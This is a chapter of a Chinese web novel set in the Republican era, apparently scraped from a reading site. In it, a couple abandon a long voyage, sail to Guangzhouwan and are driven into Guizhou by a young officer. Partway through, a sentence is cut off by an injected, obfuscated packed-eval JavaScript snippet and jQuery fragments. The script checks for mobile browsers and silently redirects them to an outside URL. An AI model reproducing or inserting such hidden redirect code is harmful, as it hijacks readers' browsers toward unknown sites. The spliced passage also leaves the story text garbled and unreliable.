82.贵州

作品:《听经[民国]

    船票买在了七月二十九日,临走前两天,薛莲山找定青谈了一次话,问他和小桂怎么样了。定青其实没有和小桂很好,他们之间,除了调情,什么实质性的承诺和计划都没有过;但为了使他安心,一味地说好。


    薛莲山于是塞了个鼓鼓囊囊的大红包给他,调侃道:“跟了我这么多年,能坐办公室了吗?”


    “啊?”


    “我替你安排好了。”他说,“家具厂的高老板,我前两天才跟他打了电话,他答应给你找个文职工作。要是做不惯,你也别想着是我的人情,该辞就辞了。有什么困难给我写信。等我到那边,会第一时间把地址寄给你。”


    定青惨白着一张脸,蠕了蠕嘴唇:“薛先生不必替我操心。我倒想嘱咐一句,金小姐是个孩子气的,并不会照顾人。你出门在外,需要自己照顾好自己......”


    “这还必嘱咐么?”薛莲山笑道,“我又不是少爷公子。”


    出发的那天早上,他和金雪池俱是兴高采烈,定青和小桂愁云惨淡。因为航程遥远,他们要乘坐的是一艘体型极为巨大的客轮,有三根大黑烟囱,早早地放下了舷梯供游客搬运行李。


    送到检票口,不能再送了。定青忽然退后两步,跪下给他磕了一个头。


    薛莲山忙上去拽他,“民国不兴这个了!快起来!”


    但他拽不动定青,定青硬是邦邦磕完了三个头才起来,额头红了一片;起来后抿着嘴,不说话。小桂一直攥着手里的帕子,这时候轻声道:“走吧,薛先生,你们行李多,别误了时辰。”


    薛莲山朝她微笑着点了一下头,又在定青肩上拍了拍,这才提起行李检票去了。金雪池也拎了两个箱子,走一步,箱子磕一下腿,砰砰砰打牛肉丸似的响。等排队登上了船、找到了客舱后,她已然满头大汗,小腿肉也非常筋道了。


    客舱里闷热潮湿,离开船还有很久,他们便先上甲板透气。凭栏远望,几艘挂着米字旗的英籍货轮泊在锚地,烟囱里冒出的灰烟好似一条丝绢,被风拉薄、扯成条缕。让人联想到依稀的一两声鸟叫。也确实听到了,也许因为云层厚得像雪堆,只听得到鸟叫、见不到鸟的影子。


    薛莲山靠在对海的那一侧船舷上,看了看手表,忽然道:“倘若耽误你一年,你会不高兴么?”


    “不会。”


    他放下手臂,望向海面,“......你知道我不会对你负责一辈子吧?趁我现在还负责,你如果介意,可以直接提。”


    金雪池陷入沉默,不知道是不是因为没吃早饭,全身上下有种摇摇欲坠的虚弱,立刻又出了一身的汗。见她久不答,薛莲山扭头看她,她不知从哪儿摸出一颗骰子,一抛、接住,瞟了一眼后道:“你想去就去吧。”


    “这样决定自己的命运吗?”


    “人的头脑不比骰子高明多少。”


    薛莲山笑了,“你爱我么?”


    “有一点。”


    “我去贵州,你有两个选择,一是留在香港,二是跟我一起去。留在香港会过得舒服很多。但因为这一点,我再得寸进尺一步,希望你跟我一起去。本来这个决定就做得我很恼火,如果有你在的话,我会比较开心。不会留太久,最多一年。”


    “你爱我么?”


    “应该也有一点。”


    “好吧,”金雪池说,“Go。”


    两人于是冲下船舱拿行李,避开定青和小桂,从另一个口子下了船。她独自守着一堆箱子,薛莲山挤去买票,买回来两张去广州湾的票和一支冰棒。离发船还有几个小时,金雪池慢慢地吃完了那支冰棒,薛莲山原先站着,后来坐到了一段矮栏杆上,表情似乎很愉快。


    金雪池笑道:“你不是很恼火吗?”


    “不是说有你在的话,我会比较开心吗?”他拍了一下她脑袋,“说走就跟我走,好孩子。”


    她闭上眼,很温顺地让他拍,一阵一阵快乐但冷的水流流遍全身。


    到广州湾的航线耗时三天,还算风平浪静,两人因为无所事事,闲聊个没完。金雪池先是把他的肖像画画完了,拿给他看,他不敢相信自己在她心中就是那副模样,很是沉默了一阵;她又开始画在香港的家,画了一半,有些晕船,把本子递给他。


    他于是发现金雪池没有针对自己,她画画的方式特别刻板,无论美丑,凡事她记得的特征,会全部详尽地表达出来。于是添了几笔,一个风扇、一口钟。


    金雪池头晕目眩,接过来一看,“薛先生,你有一点画错了。”


    “画画还有对错?”


    “有的,如果你仔细观察的话,会发现电扇的叶片都是三片而非四片。你知道为什么吗?”


    薛莲山表示洗耳恭听。她就开始了,“旋转会给叶片带来离心力形变,叶片能抵抗这种形变的强度,与截面惯性矩相关,而截面惯性矩又和厚度的三次方成正比,意味着厚度的微小增加能显著提升强度。如果采用相同成本的材料,比如说设单叶片体积V=bhL,总材料......”


    “那么为什么不直接两片叶子呢?”


    “两片扇叶比四片扇叶还糟糕。电扇旋转的核心是离心力矢量和为零,两片叶子对向分布,在数学上存在‘偶数对称的耦合缺陷’。”金雪池唰唰给他画了几个箭头,受力分析,“若存在微小制造误差,合力会直接等于Δmω^2r,没法被其他力抵消,会带动风扇整体产生周期性振动,转速越高、振动越剧烈,你可能打开风扇一分钟,它就自己跑下楼了。而三片呈120°分布,三个离心力构成矢量三角形,即使存在微小质量误差,矢量和也会因三角闭合性相互抵消一部分......”


    也不管薛莲山听没听懂,她讲完了,把扇叶子擦掉改成三片。一副并不美观但刻板、严谨的画,其实和艺术家气质相去甚远。但她自己认为自己是个艺术家,让她去吧。


    晚上脱掉丝袜,她发现腿上青了一片,怎么都没想起怎么青的。他凑过来看,“应该是提箱子时撞的。”


    “是么?”


    “之前我也看到过几次——你睡裙只到膝盖么,早上提了东西,晚上小腿就是青的。”


    金雪池觉得这种形容显得自己像小脑功能不完全,很羞愧地把睡裙往下拽。薛莲山倒是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373474|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑了,在她膝盖骨上捏了捏,“小姐命。”


    她不作声,任他揉捏,那手逐渐往大腿上移,试试探探地轻轻捋着,然后忽然很重、很狎昵的一下,她迅速收腿上床,背对着他。薛莲山一膝盖支在她床沿上,俯身过去,“亲一下亲一下......”


    金雪池用被子把头蒙住,他隔着被子,乱亲了三四下,直到被她推远。


    船上时光过得十分悠闲惬意,到了广州湾的法租界,他们先找旅馆,然后给许豫生发电报、买东西。她不用下地,自然是可以继续穿旗袍;他不得不买了几条衫褂,松松软软的,又买了一大袋子药品,从应对感冒发烧的到针对自己病症的,一应俱全。


    金雪池买了一点荔枝,广西的水果好吃。


    盘桓数日后,有人来接他们。那人自我介绍叫戴鸿飞,是行政督导,穿硬挺的蓝色军装、低檐帽,一开门就行了个军礼。其实帽檐本没必要把眼镜都压住,但他相当年轻,一有任务,就忍不住要摆出军人风范,哪怕这风范不是自然形成的,而是从长官、电影、文学作品和自己的想象中习得的。


    薛莲山手还插在口袋里,略一点头,让他进。


    他一副公事公办的口吻,出示了自己的身份证明,简单介绍黑箐山的情况后,又道:“原则上不能带家属。”


    薛莲山并不呛他,说“那我不去了”,他对于年轻人素来比较包容,“是家属,也是我抓来的壮丁,数学本科毕业的,可以进技术组工作。”


    金雪池没料到他一下给自己派了个任务,他向来想一出是一出。那她就不能在山林溪流间继续艺术之旅了,又得拨该死的算盘。


    戴鸿飞也一愣,他原本是想显示自己的权威,但挑不出刺,因为缺人缺得厉害,有壮丁可抓固然好。“矿上纪律严明,任务重、时间紧,男女不许同住。”


    薛莲山笑了,“行。”


    事不宜迟,戴鸿飞当场就带着两人出发,接下来的路程全靠汽车。从广州湾到桂林要坐三天汽车,从桂林到贵阳要坐四天汽车,从贵阳到毕节要坐三天汽车,从毕节到大定县要两天汽车。西南不仅矿业不发达,铁路也不发达,好在他们不必像普通难民一样挤长途巴士,有专车接。


    进贵州后,他还给他们一人发了一把□□P38,能装八发子弹,防兽防匪。


    贵州境内多山地,道路崎岖难行,有些路段甚至是在悬崖峭壁上开凿出来的,十分惊险。戴鸿飞开得全神贯注,薛莲山回头找金雪池闲聊:“这是雪佛兰Suburban Carryall,美国车。这样的路段就得美国车,欧洲车虽然精密,但是但底盘调校偏向公路行驶,在坑洼路面易发生底盘磕碰,雪佛兰的独立悬挂就不......”


    “薛专员。”戴鸿飞打断他,“可以不说话吗?”


    薛莲山笑了笑,闭嘴了,也放弃了坐副驾驶,中途休息时换到了后排,和金雪池通过捏手传情。他捏她一下,她捏他一下,谁也不触戴鸿飞的霉头。晚上时,金雪池又道:“前面那个坡上站的不能是土匪吧?”


    戴鸿飞冷冷道:“可以不说话吗?我看得到。”